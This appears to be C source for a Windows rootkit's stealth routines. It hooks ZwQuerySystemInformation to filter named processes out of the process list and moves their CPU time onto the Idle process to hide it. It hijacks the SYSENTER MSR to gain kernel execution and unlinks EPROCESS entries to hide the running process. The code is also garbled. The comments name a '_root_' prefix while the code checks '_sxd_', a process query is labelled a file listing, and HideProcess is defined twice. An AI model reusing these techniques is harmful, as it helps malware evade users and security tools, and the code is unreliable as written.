///////////////////////////////////////////////////////////////////////
// NewZwQuerySystemInformation function
//
// ZwQuerySystemInformation() returns a linked list of processes.
// The function below imitates it, except it removes from the list any
// process who's name begins with "_root_".

NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength)
{

   NTSTATUS ntStatus;

   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
               SystemInformationClass,
               SystemInformation,
               SystemInformationLength,
               ReturnLength );

   if( NT_SUCCESS(ntStatus)) 
   {
      // Asking for a file and directory listing
      if(SystemInformationClass == 5)
      {
        // This is a query for the process list.
       // Look for process names that start with
       // '_root_' and filter them out.
               
       struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
         struct _SYSTEM_PROCESSES *prev = NULL;
       
       while(curr)
       {
         if (curr->ProcessName.Buffer != NULL)
         {
            if(0 == memcmp(curr->ProcessName.Buffer, L"_sxd_", 12))
            {
               DbgPrint("SXD: Hiding process %x\n", curr->ProcessName.Buffer);
               m_UserTime.QuadPart += curr->UserTime.QuadPart;
               m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

               if(prev) // Middle or Last entry
               {
                  if(curr->NextEntryDelta)
                     prev->NextEntryDelta += curr->NextEntryDelta;
                  else   // we are last, so make prev the end
                     prev->NextEntryDelta = 0;
               }
               else
               {
                  if(curr->NextEntryDelta)
                  {
                     // we are first in the list, so move it forward
                     (char *)SystemInformation += curr->NextEntryDelta;
                  }
                  else // we are the only process!
                     SystemInformation = NULL;
               }
            }
         }
         else // This is the entry for the Idle process
         {
            // Add the kernel and user times of _sxd_* 
            // processes to the Idle process.
            curr->UserTime.QuadPart += m_UserTime.QuadPart;
            curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

            // cap the user time and kernel time
            if( curr->UserTime.QuadPart > 99 ) {
                curr->UserTime.QuadPart = 99;
            }
            if( curr->KernelTime.QuadPart > 99 ) {
                curr->KernelTime.QuadPart = 99;
            }

            // Reset the timers for next time we filter
            m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
         }
         prev = curr;
          if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
          else curr = NULL;
        }
     }
     else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
     {
         struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
         times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
     }

   }
   return ntStatus;
}

BOOL KernelCall(ULONG caller)
{
   ULONGLONG OldSysenterHandler;
   ring0_handler = caller;

   OldSysenterHandler = ReadMsr(SYSENTER_EIP_MSR);

   if (OldSysenterHandler)
   {
      SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);

      if (WriteMsr(SYSENTER_EIP_MSR, (ULONGLONG)sysenter_hnd))
      {
         CallSysenter();
         WriteMsr(SYSENTER_EIP_MSR, OldSysenterHandler);
      }

      SetPriorityClass(GetCurrentProcess(), NORMAL_PRIORITY_CLASS);
   }

   return TRUE;
}

void HideProcess(void)
{
   __asm
   {
      mov      di,0x30
      mov      fs,di
   }

   pEprocess = fPsGetCurrentProcess();

   PLIST_ENTRY pListEntry = (PLIST_ENTRY)((ULONG)pEprocess + EPROCESS_flink);

   (pListEntry->Blink)->Flink = pListEntry->Flink;
   (pListEntry->Flink)->Blink = pListEntry->Blink;

   __asm
   {
      mov      di,0x3B
      mov      fs,di
   }
}

void HideProcess(void)
{
   OSVERSIONINFOEX osvi;
   BOOL bFound = FALSE;

   ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));
   osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);

   if (!GetVersionEx((OSVERSIONINFO *)&osvi))
   {
      osvi.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
      
      if (!GetVersionEx((OSVERSIONINFO *)&osvi)) 
         return;
   }

   switch (osvi.dwPlatformId)
   {
      case VER_PLATFORM_WIN32_NT:
         if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0)
         {   // win2k
            EPROCESS_flink = 160;
            bFound = TRUE;
         }
         else if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1)
         {   // winxp
            EPROCESS_flink = 136;      
            bFound = TRUE;
         }
         else if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2)
         {   // win2k3
            EPROCESS_flink = 136;
            bFound = TRUE;
         }
         break;

      default: return;
   }
   if (!bFound) return;

   fPsGetCurrentProcess = (funcPsGetCurrentProcess)find_PsGetCurrentProcess();
   if (fPsGetCurrentProcess == NULL)
   {
      return;
   }

   KernelCall((ULONG)&HideProcess);

}